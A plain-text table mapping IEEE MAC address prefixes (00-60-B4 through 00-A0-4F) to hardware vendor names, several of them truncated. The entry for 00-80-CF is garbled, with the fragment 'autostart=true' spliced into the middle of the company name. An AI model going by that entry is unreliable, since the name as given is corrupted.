00-60-B4    GLENAYRE R&D INC.
00-60-B5    KEBA GMBH
00-60-B6    LAND COMPUTER CO., LTD.
00-60-B7    CHANNELMATIC, INC.
00-60-B8    CORELIS INC.
00-60-B9    NITSUKO CORPORATION
00-60-BA    SAHARA NETWORKS, INC.
00-60-BB    CABLETRON - NETLINK, INC.
00-60-BC    KEUNYOUNG ELECTRONICS &
00-60-BD    HUBBELL-PULSECOM
00-60-BE    WEBTRONICS
00-60-BF    MACRAIGOR SYSTEMS, INC.
00-60-C0    NERA AS
00-60-C1    WAVESPAN CORPORATION
00-60-C2    MPL AG
00-60-C3    NETVISION CORPORATION
00-60-C4    SOLITON SYSTEMS K.K.
00-60-C5    ANCOT CORP.
00-60-C6    DCS AG
00-60-C7    AMATI COMMUNICATIONS CORP.
00-60-C8    KUKA WELDING SYSTEMS & ROBOTS
00-60-C9    CONTROLNET, INC.
00-60-CA    HARMONIC SYSTEMS INCORPORATED
00-60-CB    HITACHI ZOSEN CORPORATION
00-60-CC    EMTRAK, INCORPORATED
00-60-CD    VIDEOSERVER, INC.
00-60-CE    ACCLAIM COMMUNICATIONS
00-60-CF    ALTEON NETWORKS, INC.
00-60-D0    SNMP RESEARCH INCORPORATED
00-60-D1    CASCADE COMMUNICATIONS
00-60-D2    LUCENT TECHNOLOGIES TAIWAN
00-60-D3    AT&T
00-60-D4    ELDAT COMMUNICATION LTD.
00-60-D5    MIYACHI TECHNOS CORP.
00-60-D6    NOVATEL WIRELESS TECHNOLOGIES
00-60-D7    ECOLE POLYTECHNIQUE FEDERALE
00-60-D8    ELMIC SYSTEMS, INC.
00-60-D9    TRANSYS NETWORKS INC.
00-60-DA    JBM ELECTRONICS CO.
00-60-DB    NTP ELEKTRONIK A/S
00-60-DC    TOYO COMMUNICATION EQUIPMENT
00-60-DD    MYRICOM, INC.
00-60-DE    KAYSER-THREDE GMBH
00-60-DF    INRANGE TECHNOLOGIES CORP.
00-60-E0    AXIOM TECHNOLOGY CO., LTD.
00-60-E1    ORCKIT COMMUNICATIONS LTD.
00-60-E2    QUEST ENGINEERING & DEV.
00-60-E3    ARBIN INSTRUMENTS
00-60-E4    COMPUSERVE, INC.
00-60-E5    FUJI AUTOMATION CO., LTD.
00-60-E6    SHOMITI SYSTEMS INCORPORATED
00-60-E7    RANDATA
00-60-E8    HITACHI COMPUTER PRODUCTS
00-60-E9    ATOP TECHNOLOGIES, INC.
00-60-EA    STREAMLOGIC
00-60-EB    FOURTHTRACK SYSTEMS
00-60-EC    HERMARY OPTO ELECTRONICS INC.
00-60-ED    RICARDO TEST AUTOMATION LTD.
00-60-EE    APOLLO
00-60-EF    FLYTECH TECHNOLOGY CO., LTD.
00-60-F0    JOHNSON & JOHNSON MEDICAL, INC
00-60-F1    EXP COMPUTER, INC.
00-60-F2    LASERGRAPHICS, INC.
00-60-F3    NETCOM SYSTEMS, INC.
00-60-F4    ADVANCED COMPUTER SOLUTIONS,
00-60-F5    ICON WEST, INC.
00-60-F6    NEXTEST COMMUNICATION
00-60-F7    DATAFUSION SYSTEMS
00-60-F8    LORAN INTERNATIONAL TECHN. INC
00-60-F9    DIAMOND LANE COMMUNICATIONS
00-60-FA    EDUCATIONAL TECHNOLOGY
00-60-FB    PACKETEER, INC.
00-60-FC    CONSERVATION THROUGH
00-60-FD    NETICS, INC.
00-60-FE    LYNX SYSTEM DEVELOPERS, INC.
00-60-FF    QUVIS, INC.
00-70-B0    M/A-COM INC. COMPANIES
00-70-B3    DATA RECALL LTD.
00-80-00    MULTITECH SYSTEMS, INC.
00-80-01    PERIPHONICS CORPORATION
00-80-02    SATELCOM (UK) LTD
00-80-03    HYTEC ELECTRONICS LTD.
00-80-04    ANTLOW COMMUNICATIONS, LTD.
00-80-05    CACTUS COMPUTER INC.
00-80-06    COMPUADD CORPORATION
00-80-07    DLOG NC-SYSTEME
00-80-08    DYNATECH COMPUTER SYSTEMS
00-80-09    JUPITER SYSTEMS, INC.
00-80-0A    JAPAN COMPUTER CORP.
00-80-0B    CSK CORPORATION
00-80-0C    VIDECOM LIMITED
00-80-0D    VOSSWINKEL F.U.
00-80-0E    ATLANTIX CORPORATION
00-80-0F    STANDARD MICROSYSTEMS
00-80-10    COMMODORE INTERNATIONAL
00-80-11    DIGITAL SYSTEMS INT'L. INC.
00-80-12    INTEGRATED MEASUREMENT SYSTEMS
00-80-13    THOMAS-CONRAD CORPORATION
00-80-14    ESPRIT SYSTEMS
00-80-15    SEIKO SYSTEMS, INC.
00-80-16    WANDEL AND GOLTERMANN
00-80-17    PFU LIMITED
00-80-18    KOBE STEEL, LTD.
00-80-19    DAYNA COMMUNICATIONS, INC.
00-80-1A    BELL ATLANTIC
00-80-1B    KODIAK TECHNOLOGY
00-80-1C    NEWPORT SYSTEMS SOLUTIONS
00-80-1D    INTEGRATED INFERENCE MACHINES
00-80-1E    XINETRON, INC.
00-80-1F    KRUPP ATLAS ELECTRONIK GMBH
00-80-20    NETWORK PRODUCTS
00-80-21    NEWBRIDGE RESEARCH CORP.
00-80-22    SCAN-OPTICS
00-80-23    INTEGRATED BUSINESS NETWORKS
00-80-24    KALPANA, INC.
00-80-25    STOLLMANN GMBH
00-80-26    NETWORK PRODUCTS CORPORATION
00-80-27    ADAPTIVE SYSTEMS, INC.
00-80-28    TRADPOST (HK) LTD
00-80-29    EAGLE TECHNOLOGY, INC.
00-80-2A    TEST SYSTEMS & SIMULATIONS INC
00-80-2B    INTEGRATED MARKETING CO
00-80-2C    THE SAGE GROUP PLC
00-80-2D    XYLOGICS INC
00-80-2E    CASTLE ROCK COMPUTING
00-80-2F    NATIONAL INSTRUMENTS CORP.
00-80-30    NEXUS ELECTRONICS
00-80-31    BASYS, CORP.
00-80-32    ACCESS CO., LTD.
00-80-33    FORMATION, INC.
00-80-34    SMT GOUPIL
00-80-35    TECHNOLOGY WORKS, INC.
00-80-36    REFLEX MANUFACTURING SYSTEMS
00-80-37    Ericsson Group
00-80-38    DATA RESEARCH & APPLICATIONS
00-80-39    ALCATEL STC AUSTRALIA
00-80-3A    VARITYPER, INC.
00-80-3B    APT COMMUNICATIONS, INC.
00-80-3C    TVS ELECTRONICS LTD
00-80-3D    SURIGIKEN CO.,  LTD.
00-80-3E    SYNERNETICS
00-80-3F    TATUNG COMPANY
00-80-40    JOHN FLUKE MANUFACTURING CO.
00-80-41    VEB KOMBINAT ROBOTRON
00-80-42    FORCE COMPUTERS
00-80-43    NETWORLD, INC.
00-80-44    SYSTECH COMPUTER CORP.
00-80-45    MATSUSHITA ELECTRIC IND. CO
00-80-46    UNIVERSITY OF TORONTO
00-80-47    IN-NET CORP.
00-80-48    COMPEX INCORPORATED
00-80-49    NISSIN ELECTRIC CO., LTD.
00-80-4A    PRO-LOG
00-80-4B    EAGLE TECHNOLOGIES PTY.LTD.
00-80-4C    CONTEC CO., LTD.
00-80-4D    CYCLONE MICROSYSTEMS, INC.
00-80-4E    APEX COMPUTER COMPANY
00-80-4F    DAIKIN INDUSTRIES, LTD.
00-80-50    ZIATECH CORPORATION
00-80-51    FIBERMUX
00-80-52    TECHNICALLY ELITE CONCEPTS
00-80-53    INTELLICOM, INC.
00-80-54    FRONTIER TECHNOLOGIES CORP.
00-80-55    FERMILAB
00-80-56    SPHINX ELEKTRONIK GMBH
00-80-57    ADSOFT, LTD.
00-80-58    PRINTER SYSTEMS CORPORATION
00-80-59    STANLEY ELECTRIC CO., LTD
00-80-5A    TULIP COMPUTERS INTERNAT'L B.V
00-80-5B    CONDOR SYSTEMS, INC.
00-80-5C    AGILIS CORPORATION
00-80-5D    CANSTAR
00-80-5E    LSI LOGIC CORPORATION
00-80-5F    COMPAQ COMPUTER CORPORATION
00-80-60    NETWORK INTERFACE CORPORATION
00-80-61    LITTON SYSTEMS, INC.
00-80-62    INTERFACE  CO.
00-80-63    RICHARD HIRSCHMANN GMBH & CO.
00-80-64    WYSE TECHNOLOGY
00-80-65    CYBERGRAPHIC SYSTEMS PTY LTD.
00-80-66    ARCOM CONTROL SYSTEMS, LTD.
00-80-67    SQUARE D COMPANY
00-80-68    YAMATECH SCIENTIFIC LTD.
00-80-69    COMPUTONE SYSTEMS
00-80-6A    ERI (EMPAC RESEARCH INC.)
00-80-6B    SCHMID TELECOMMUNICATION
00-80-6C    CEGELEC PROJECTS LTD
00-80-6D    CENTURY SYSTEMS CORP.
00-80-6E    NIPPON STEEL CORPORATION
00-80-6F    ONELAN LTD.
00-80-70    COMPUTADORAS MICRON
00-80-71    SAI TECHNOLOGY
00-80-72    MICROPLEX SYSTEMS LTD.
00-80-73    DWB ASSOCIATES
00-80-74    FISHER CONTROLS
00-80-75    PARSYTEC GMBH
00-80-76    MCNC
00-80-77    BROTHER INDUSTRIES, LTD.
00-80-78    PRACTICAL PERIPHERALS, INC.
00-80-79    MICROBUS DESIGNS LTD.
00-80-7A    AITECH SYSTEMS LTD.
00-80-7B    ARTEL COMMUNICATIONS CORP.
00-80-7C    FIBERCOM, INC.
00-80-7D    EQUINOX SYSTEMS INC.
00-80-7E    SOUTHERN PACIFIC LTD.
00-80-7F    DY-4 INCORPORATED
00-80-80    DATAMEDIA CORPORATION
00-80-81    KENDALL SQUARE RESEARCH CORP.
00-80-82    PEP MODULAR COMPUTERS GMBH
00-80-83    AMDAHL
00-80-84    THE CLOUD INC.
00-80-85    H-THREE SYSTEMS CORPORATION
00-80-86    COMPUTER GENERATION INC.
00-80-87    OKI ELECTRIC INDUSTRY CO., LTD
00-80-88    VICTOR COMPANY OF JAPAN, LTD.
00-80-89    TECNETICS (PTY) LTD.
00-80-8A    SUMMIT MICROSYSTEMS CORP.
00-80-8B    DACOLL LIMITED
00-80-8C    FRONTIER SOFTWARE DEVELOPMENT
00-80-8D    WESTCOAST TECHNOLOGY B.V.
00-80-8E    RADSTONE TECHNOLOGY
00-80-8F    C. ITOH ELECTRONICS, INC.
00-80-90    MICROTEK INTERNATIONAL, INC.
00-80-91    TOKYO ELECTRIC CO.,LTD
00-80-92    JAPAN COMPUTER INDUSTRY, INC.
00-80-93    XYRON CORPORATION
00-80-94    ALFA LAVAL AUTOMATION AB
00-80-95    BASIC MERTON HANDELSGES.M.B.H.
00-80-96    HUMAN DESIGNED SYSTEMS, INC.
00-80-97    CENTRALP AUTOMATISMES
00-80-98    TDK CORPORATION
00-80-99    KLOCKNER MOELLER IPC
00-80-9A    NOVUS NETWORKS LTD
00-80-9B    JUSTSYSTEM CORPORATION
00-80-9C    LUXCOM, INC.
00-80-9D    Commscraft Ltd.
00-80-9E    DATUS GMBH
00-80-9F    ALCATEL BUSINESS SYSTEMS
00-80-A0    EDISA HEWLETT PACKARD S/A
00-80-A1    MICROTEST, INC.
00-80-A2    CREATIVE ELECTRONIC SYSTEMS
00-80-A3    LANTRONIX
00-80-A4    LIBERTY ELECTRONICS
00-80-A5    SPEED INTERNATIONAL
00-80-A6    REPUBLIC TECHNOLOGY, INC.
00-80-A7    MEASUREX CORP.
00-80-A8    VITACOM CORPORATION
00-80-A9    CLEARPOINT RESEARCH
00-80-AA    MAXPEED
00-80-AB    DUKANE NETWORK INTEGRATION
00-80-AC    IMLOGIX, DIVISION OF GENESYS
00-80-AD    CNET TECHNOLOGY, INC.
00-80-AE    HUGHES NETWORK SYSTEMS
00-80-AF    ALLUMER CO., LTD.
00-80-B0    ADVANCED INFORMATION
00-80-B1    SOFTCOM A/S
00-80-B2    NETWORK EQUIPMENT TECHNOLOGIES
00-80-B3    AVAL DATA CORPORATION
00-80-B4    SOPHIA SYSTEMS
00-80-B5    UNITED NETWORKS INC.
00-80-B6    THEMIS COMPUTER
00-80-B7    STELLAR COMPUTER
00-80-B8    BUG, INCORPORATED
00-80-B9    ARCHE TECHNOLIGIES INC.
00-80-BA    SPECIALIX (ASIA) PTE, LTD
00-80-BB    HUGHES LAN SYSTEMS
00-80-BC    HITACHI ENGINEERING CO., LTD
00-80-BD    THE FURUKAWA ELECTRIC CO., LTD
00-80-BE    ARIES RESEARCH
00-80-BF    TAKAOKA ELECTRIC MFG. CO. LTD.
00-80-C0    PENRIL DATACOMM
00-80-C1    LANEX CORPORATION
00-80-C2    IEEE 802 COMMITTEE
00-80-C3    BICC INFORMATION SYSTEMS & SVC
00-80-C4    DOCUMENT TECHNOLOGIES, INC.
00-80-C5    NOVELLCO DE MEXICO
00-80-C6    NATIONAL DATACOMM CORPORATION
00-80-C7    XIRCOM
00-80-C8    D-LINK SYSTEMS, INC.
00-80-C9    ALBERTA MICROELECTRONIC CENTRE
00-80-CA    NETCOM RESEARCH INCORPORATED
00-80-CB    FALCO DATA PRODUCTS
00-80-CC    MICROWAVE BYPASS SYSTEMS
00-80-CD    MICRONICS COMPUTER, INC.
00-80-CE    BROADCAST TELEVISION SYSTEMS
00-80-CF    EMBED autostart=trueDED PERFORMANCE INC.
00-80-D0    COMPUTER PERIPHERALS, INC.
00-80-D1    KIMTRON CORPORATION
00-80-D2    SHINNIHONDENKO CO., LTD.
00-80-D3    SHIVA CORP.
00-80-D4    CHASE RESEARCH LTD.
00-80-D5    CADRE TECHNOLOGIES
00-80-D6    NUVOTECH, INC.
00-80-D7    FANTUM ENGINEERING, INC.
00-80-D8    NETWORK PERIPHERALS INC.
00-80-D9    EMK ELEKTRONIK
00-80-DA    BRUEL & KJAER
00-80-DB    GRAPHON CORPORATION
00-80-DC    PICKER INTERNATIONAL
00-80-DD    GMX INC/GIMIX
00-80-DE    GIPSI S.A.
00-80-DF    ADC CODENOLL TECHNOLOGY CORP.
00-80-E0    XTP SYSTEMS, INC.
00-80-E1    STMICROELECTRONICS
00-80-E2    T.D.I. CO., LTD.
00-80-E3    CORAL NETWORK CORPORATION
00-80-E4    NORTHWEST DIGITAL SYSTEMS, INC
00-80-E5    MYLEX CORPORATION
00-80-E6    PEER NETWORKS, INC.
00-80-E7    LYNWOOD SCIENTIFIC DEV. LTD.
00-80-E8    CUMULUS CORPORATIION
00-80-E9    MADGE NETWORKS
00-80-EA    THE FIBER COMPANY
00-80-EB    COMPCONTROL B.V.
00-80-EC    SUPERCOMPUTING SOLUTIONS, INC.
00-80-ED    IQ TECHNOLOGIES, INC.
00-80-EE    THOMSON CSF
00-80-EF    RATIONAL
00-80-F0    KYUSHU MATSUSHITA ELECTRIC CO.
00-80-F1    OPUS SYSTEMS
00-80-F2    RAYCOM SYSTEMS INC
00-80-F3    SUN ELECTRONICS CORP.
00-80-F4    TELEMECANIQUE ELECTRIQUE
00-80-F5    QUANTEL LTD
00-80-F6    SYNERGY MICROSYSTEMS
00-80-F7    ZENITH ELECTRONICS
00-80-F8    MIZAR, INC.
00-80-F9    HEURIKON CORPORATION
00-80-FA    RWT GMBH
00-80-FB    BVM LIMITED
00-80-FC    AVATAR CORPORATION
00-80-FD    EXSCEED CORPRATION
00-80-FE    AZURE TECHNOLOGIES, INC.
00-80-FF    SOC. DE TELEINFORMATIQUE RTC
00-90-00    DIAMOND MULTIMEDIA
00-90-01    NISHIMU ELCTRONICS INDUSTRIES
00-90-02    ALLGON AB
00-90-03    APLIO
00-90-04    3COM EUROPE LTD.
00-90-05    PROTECH SYSTEMS CO., LTD.
00-90-06    HAMAMATSU PHOTONICS K.K.
00-90-07    DOMEX TECHNOLOGY CORP.
00-90-08    HAN A SYSTEMS, INC.
00-90-09    i Controls, Inc.
00-90-0A    PROTON ELECTRONIC INDUSTRIAL
00-90-0B    LANNER ELECTRONICS, INC.
00-90-0C    CISCO SYSTEMS, INC.
00-90-0D    OVERLAND DATA INC.
00-90-0E    HANDLINK TECHNOLOGIES, INC.
00-90-0F    KAWASAKI HEAVY INDUSTRIES, LTD
00-90-10    SIMULATION LABORATORIES, INC.
00-90-11    WAVTRACE, INC.
00-90-12    GLOBESPAN SEMICONDUCTOR, INC.
00-90-13    SAMSAN CORP.
00-90-14    ROTORK INSTRUMENTS, LTD.
00-90-15    CENTIGRAM COMMUNICATIONS CORP.
00-90-16    ZAC
00-90-17    ZYPCOM, INC.
00-90-18    ITO ELECTRIC INDUSTRY CO, LTD.
00-90-19    HERMES ELECTRONICS CO., LTD.
00-90-1A    UNISPHERE SOLUTIONS
00-90-1B    DIGITAL CONTROLS
00-90-1C    MPS SOFTWARE GMBH
00-90-1D    PEC (NZ) LTD.
00-90-1E    SELESTA INGEGNE RIA S.P.A.
00-90-1F    ADTEC PRODUCTIONS, INC.
00-90-20    PHILIPS ANALYTICAL X-RAY B.V.
00-90-21    CISCO SYSTEMS, INC.
00-90-22    IVEX
00-90-23    ZILOG INC.
00-90-24    PIPELINKS, INC.
00-90-25    VISION SYSTEMS LTD. PTY
00-90-26    ADVANCED SWITCHING
00-90-27    INTEL CORPORATION
00-90-28    NIPPON SIGNAL CO., LTD.
00-90-29    CRYPTO AG
00-90-2A    COMMUNICATION DEVICES, INC.
00-90-2B    CISCO SYSTEMS, INC.
00-90-2C    DATA & CONTROL EQUIPMENT LTD.
00-90-2D    DATA ELECTRONICS
00-90-2E    NAMCO LIMITED
00-90-2F    NETCORE SYSTEMS, INC.
00-90-30    HONEYWELL-DATING
00-90-31    MYSTICOM, LTD.
00-90-32    PELCOMBE GROUP LTD.
00-90-33    INNOVAPHONE GMBH
00-90-34    IMAGIC, INC.
00-90-35    ALPHA TELECOM, INC.
00-90-36    ENS, INC.
00-90-37    ACUCOMM, INC.
00-90-38    FOUNTAIN TECHNOLOGIES, INC.
00-90-39    SHASTA NETWORKS
00-90-3A    NIHON MEDIA TOOL INC.
00-90-3B    TRIEMS RESEARCH LAB, INC.
00-90-3C    ATLANTIC NETWORK SYSTEMS
00-90-3D    BIOPAC SYSTEMS, INC.
00-90-3E    N.V. PHILIPS INDUSTRIAL
00-90-3F    AZTEC RADIOMEDIA
00-90-40    CASTLE NETWORKS, INC.
00-90-41    APPLIED DIGITAL ACCESS
00-90-42    ECCS
00-90-43    NICHIBEI DENSHI CO., LTD.
00-90-44    ASSURED DIGITAL, INC.
00-90-45    MARIPOSA TECHNOLOGY
00-90-46    DEXDYNE, LTD.
00-90-47    GIGA FAST E. LTD.
00-90-48    ZEAL CORPORATION
00-90-49    ENTRIDIA CORPORATION
00-90-4A    CONCUR SYSTEM TECHNOLOGIES
00-90-4B    GEMTEK TECHNOLOGY CO., LTD.
00-90-4C    EPIGRAM, INC.
00-90-4D    SPEC S.A.
00-90-4E    DELEM BV
00-90-4F    ABB POWER T&D COMPANY, INC.
00-90-50    TELESTE OY
00-90-51    ULTIMATE TECHNOLOGY CORP.
00-90-52    SELCOM ELETTRONICA S.R.L.
00-90-53    DAEWOO ELECTRONICS CO., LTD.
00-90-54    INNOVATIVE SEMICONDUCTORS, INC
00-90-55    PARKER HANNIFIN CORPORATION
00-90-56    TELESTREAM, INC.
00-90-57    AANETCOM, INC.
00-90-58    ULTRA ELECTRONICS LTD.
00-90-59    TELECOM DEVICE K.K.
00-90-5A    DEARBORN GROUP, INC.
00-90-5B    RAYMOND AND LAE ENGINEERING
00-90-5C    EDMI
00-90-5D    NETCOM SICHERHEITSTECHNIK GMBH
00-90-5E    RAULAND-BORG CORPORATION
00-90-5F    CISCO SYSTEMS, INC.
00-90-60    SYSTEM CREATE CORP.
00-90-61    PACIFIC RESEARCH & ENGINEERING
00-90-62    ICP VORTEX COMPUTERSYSTEME
00-90-63    COHERENT COMMUNICATIONS
00-90-64    THOMSON BROADCAST SYSTEMS
00-90-65    FINISAR CORPORATION
00-90-66    TROIKA DESIGN, INC.
00-90-67    WALKABOUT COMPUTERS, INC.
00-90-68    DVT CORP.
00-90-69    JUNIPER NETWORKS, INC.
00-90-6A    TURNSTONE SYSTEMS, INC.
00-90-6B    APPLIED RESOURCES, INC.
00-90-6C    GWT GLOBAL WEIGHING
00-90-6D    CISCO SYSTEMS, INC.
00-90-6E    PRAXON, INC.
00-90-6F    CISCO SYSTEMS, INC.
00-90-70    NEO NETWORKS, INC.
00-90-71    BADGER TECHNOLOGY, INC.
00-90-72    SIMRAD AS
00-90-73    GAIO TECHNOLOGY
00-90-74    ARGON NETWORKS, INC.
00-90-75    NEC DO BRASIL S.A.
00-90-76    FMT AIRCRAFT GATE SUPPORT
00-90-77    ADVANCED FIBRE COMMUNICATIONS
00-90-78    MER TELEMANAGEMENT
00-90-79    CLEARONE INC.
00-90-7A    SPECTRALINK CORP.
00-90-7B    E-TECH, INC.
00-90-7C    DIGITALCAST, INC.
00-90-7D    HOME WIRELESS NETWORKS
00-90-7E    VETRONIX CORP.
00-90-7F    WATCHGUARD TECHNOLOGIES, INC.
00-90-80    NOT LIMITED, INC.
00-90-81    ALOHA NETWORKS, INC.
00-90-82    FORCE INSTITUTE
00-90-83    TURBO COMMUNICATION, INC.
00-90-84    ATECH SYSTEM
00-90-85    GOLDEN ENTERPRISES, INC.
00-90-86    CISCO SYSTEMS, INC.
00-90-87    ITIS
00-90-88    BAXALL SECURITY LTD.
00-90-89    SOFTCOM MICROSYSTEMS, INC.
00-90-8A    BAYLY COMMUNICATIONS, INC.
00-90-8B    CELL COMPUTING, INC.
00-90-8C    ETREND ELECTRONICS, INC.
00-90-8D    VICKERS ELECTRONICS SYSTEMS
00-90-8E    Nortel Networks Broadband Access
00-90-8F    AUDIOCODES LTD.
00-90-90    I-BUS
00-90-91    DIGITALSCAPE, INC.
00-90-92    CISCO SYSTEMS, INC.
00-90-93    NANAO CORPORATION
00-90-94    OSPREY TECHNOLOGIES, INC.
00-90-95    UNIVERSAL AVIONICS
00-90-96    ASKEY COMPUTER CORP.
00-90-97    SYCAMORE NETWORKS
00-90-98    SBC DESIGNS, INC.
00-90-99    ALLIED TELESIS,K.K.
00-90-9A    ONE WORLD SYSTEMS, INC.
00-90-9B    MARKPOINT AB
00-90-9C    COMBOX, LTD.
00-90-9D    GSE SYSTEMS, INC.
00-90-9E    DELPHI ENGINEERING GROUP
00-90-9F    DIGI-DATA CORPORATION
00-90-A0    8X8 INC.
00-90-A1    FLYING PIG SYSTEMS, LTD.
00-90-A2    CYBERTAN TECHNOLOGY, INC.
00-90-A3    MEDIALINCS CO., LTD.
00-90-A4    ALTIGA NETWORKS
00-90-A5    SPECTRA LOGIC
00-90-A6    CISCO SYSTEMS, INC.
00-90-A7    CLIENTEC CORPORATION
00-90-A8    NINETILES NETWORKS LTD.
00-90-A9    WESTERN DIGITAL
00-90-AA    INDIGO ACTIVE VISION
00-90-AB    CISCO SYSTEMS, INC.
00-90-AC    OPTIVISION, INC.
00-90-AD    ASPECT ELECTRONICS, INC.
00-90-AE    ITALTEL SPA
00-90-AF    J. MORITA MFG. CORP.
00-90-B0    VADEM
00-90-B1    CISCO SYSTEMS, INC.
00-90-B2    AVICI SYSTEMS INC.
00-90-B3    AGRANAT SYSTEMS
00-90-B4    WILLOWBROOK TECHNOLOGIES
00-90-B5    NIKON CORPORATION
00-90-B6    FIBEX SYSTEMS
00-90-B7    DIGITAL LIGHTWAVE, INC.
00-90-B8    ROHDE & SCHWARZ GMBH & CO. KG
00-90-B9    BERAN INSTRUMENTS LTD.
00-90-BA    VALID NETWORKS, INC.
00-90-BB    TAINET COMMUNICATION SYSTEM
00-90-BC    TELEMANN CO., LTD.
00-90-BD    OMNIA COMMUNICATIONS, INC.
00-90-BE    IBC/INTEGRATED BUSINESS
00-90-BF    CISCO SYSTEMS, INC.
00-90-C0    K.J. LAW ENGINEERS, INC.
00-90-C1    EDA INDUSTRIES
00-90-C2    JK MICROSYSTEMS, INC.
00-90-C3    TOPIC SEMICONDUCTOR CORP.
00-90-C4    JAVELIN SYSTEMS, INC.
00-90-C5    INTERNET MAGIC, INC.
00-90-C6    OPTIM SYSTEMS, INC.
00-90-C7    ICOM INC.
00-90-C8    WAVERIDER COMMUNICATIONS
00-90-C9    PRODUCTIVITY ENHANCEMENT
00-90-CA    ACCORD VIDEO
00-90-CB    WIRELESS ONLINE, INC.
00-90-CC    PLANEX COMMUNICATIONS, INC.
00-90-CD    ENT-EMPRESA NACIONAL
00-90-CE    TETRA GMBH
00-90-CF    NORTEL
00-90-D0    ALCATEL BELL
00-90-D1    LEICHU ENTERPRISE CO., LTD.
00-90-D2    ARTEL VIDEO SYSTEMS
00-90-D3    GIESECKE & DEVRIENT GMBH
00-90-D4    BINDVIEW DEVELOPMENT CORP.
00-90-D5    EUPHONIX, INC.
00-90-D6    CRYSTAL GROUP
00-90-D7    NETBOOST CORP.
00-90-D8    WHITECROSS SYSTEMS
00-90-D9    CISCO SYSTEMS, INC.
00-90-DA    DYNARC, INC.
00-90-DB    NEXT LEVEL COMMUNICATIONS
00-90-DC    TECO INFORMATION SYSTEMS
00-90-DD    THE MIHARU COMMUNICATIONS
00-90-DE    CARDKEY SYSTEMS, INC.
00-90-DF    MITSUBISHI CHEMICAL
00-90-E0    SYSTRAN CORP.
00-90-E1    TELENA S.P.A.
00-90-E2    DISTRIBUTED PROCESSING
00-90-E3    AVEX ELECTRONICS INC.
00-90-E4    NEC AMERICA, INC.
00-90-E5    TEKNEMA, INC.
00-90-E6    ACER LABORATORIES, INC.
00-90-E7    HORSCH ELEKTRONIK AG
00-90-E8    MOXA TECHNOLOGIES CORP., LTD.
00-90-E9    JANZ COMPUTER AG
00-90-EA    ALPHA TECHNOLOGIES, INC.
00-90-EB    SENTRY TELECOM SYSTEMS
00-90-EC    PYRESCOM
00-90-ED    CENTRAL SYSTEM RESEARCH
00-90-EE    PERSONAL COMMUNICATIONS
00-90-EF    INTEGRIX, INC.
00-90-F0    HARMONIC LIGHTWAVES, LTD.
00-90-F1    DOT HILL SYSTEMS CORPORATION
00-90-F2    CISCO SYSTEMS, INC.
00-90-F3    ASPECT COMMUNICATIONS
00-90-F4    LIGHTNING INSTRUMENTATION
00-90-F5    CLEVO CO.
00-90-F6    ESCALATE NETWORKS, INC.
00-90-F7    NBASE COMMUNICATIONS LTD.
00-90-F8    MEDIATRIX TELECOM
00-90-F9    LEITCH
00-90-FA    GIGANET, INC.
00-90-FB    PORTWELL, INC.
00-90-FC    NETWORK COMPUTING DEVICES
00-90-FD    COPPERCOM, INC.
00-90-FE    ELECOM CO., LTD.  (LANEED DIV.
00-90-FF    TELLUS TECHNOLOGY INC.
00-9D-8E    CARDIAC RECORDERS, INC.
00-A0-00    CENTILLION NETWORKS, INC.
00-A0-01    WATKINS-JOHNSON COMPANY
00-A0-02    LEEDS & NORTHRUP AUSTRALIA
00-A0-03    STAEFA CONTROL SYSTEM
00-A0-04    NETPOWER, INC.
00-A0-05    DANIEL INSTRUMENTS, LTD.
00-A0-06    IMAGE DATA PROCESSING
00-A0-07    APEXX TECHNOLOGY, INC.
00-A0-08    NETCORP
00-A0-09    WHITETREE NETWORK
00-A0-0A    R.D.C. COMMUNICATION
00-A0-0B    COMPUTEX CO., LTD.
00-A0-0C    KINGMAX TECHNOLOGY, INC.
00-A0-0D    THE PANDA PROJECT
00-A0-0E    VISUAL NETWORKS, INC.
00-A0-0F    Broadband Technologies
00-A0-10    SYSLOGIC DATENTECHNIK AG
00-A0-11    MUTOH INDUSTRIES LTD.
00-A0-12    B.A.T.M. ADVANCED TECHNOLOGIES
00-A0-13    TELTREND LTD.
00-A0-14    CSIR
00-A0-15    WYLE
00-A0-16    MICROPOLIS CORP.
00-A0-17    J B M CORPORATION
00-A0-18    CREATIVE CONTROLLERS, INC.
00-A0-19    NEBULA CONSULTANTS, INC.
00-A0-1A    BINAR ELEKTRONIK AB
00-A0-1B    PREMISYS COMMUNICATIONS, INC.
00-A0-1C    NASCENT NETWORKS CORPORATION
00-A0-1D    SIXNET
00-A0-1E    EST CORPORATION
00-A0-1F    TRICORD SYSTEMS, INC.
00-A0-20    CITICORP/TTI
00-A0-21    GENERAL DYNAMICS-
00-A0-22    CENTRE FOR DEVELOPMENT OF
00-A0-23    APPLIED CREATIVE TECHNOLOGY,
00-A0-24    3COM CORPORATION
00-A0-25    REDCOM LABS INC.
00-A0-26    TELDAT, S.A.
00-A0-27    FIREPOWER SYSTEMS, INC.
00-A0-28    CONNER PERIPHERALS
00-A0-29    COULTER CORPORATION
00-A0-2A    TRANCELL SYSTEMS
00-A0-2B    TRANSITIONS RESEARCH CORP.
00-A0-2C    INTERWAVE COMMUNICATIONS
00-A0-2D    SKIPSTONE, INC.
00-A0-2E    BRAND COMMUNICATIONS, LTD.
00-A0-2F    PIRELLI CAVI
00-A0-30    CAPTOR NV/SA
00-A0-31    HAZELTINE CORPORATION, MS 1-17
00-A0-32    GES SINGAPORE PTE. LTD.
00-A0-33    IMC MESS-SYSTEME GMBH
00-A0-34    AXEL
00-A0-35    CYLINK CORPORATION
00-A0-36    APPLIED NETWORK TECHNOLOGY
00-A0-37    DATASCOPE CORPORATION
00-A0-38    EMAIL ELECTRONICS
00-A0-39    ROSS TECHNOLOGY, INC.
00-A0-3A    KUBOTEK CORPORATION
00-A0-3B    TOSHIN ELECTRIC CO., LTD.
00-A0-3C    EG&G NUCLEAR INSTRUMENTS
00-A0-3D    OPTO - 22
00-A0-3E    ATM FORUM
00-A0-3F    COMPUTER SOCIETY MICROPROCES'R
00-A0-40    APPLE COMPUTER
00-A0-41    LEYBOLD-INFICON
00-A0-42    SPUR PRODUCTS CORP.
00-A0-43    AMERICAN TECHNOLOGY LABS, INC.
00-A0-44    NTT INTELLIGENT TECHNOLOGY
00-A0-45    PHOENIX CONTACT GMBH & CO.
00-A0-46    SCITEX CORP. LTD.
00-A0-47    INTEGRATED FITNESS CORP.
00-A0-48    QUESTECH, LTD.
00-A0-49    DIGITECH INDUSTRIES, INC.
00-A0-4A    NISSHIN ELECTRIC CO., LTD.
00-A0-4B    TFL LAN INC.
00-A0-4C    INNOVATIVE SYSTEMS & TECH. INC
00-A0-4D    EDA INSTRUMENTS, INC.
00-A0-4E    VOELKER TECHNOLOGIES, INC.
00-A0-4F    AMERITEC CORP.
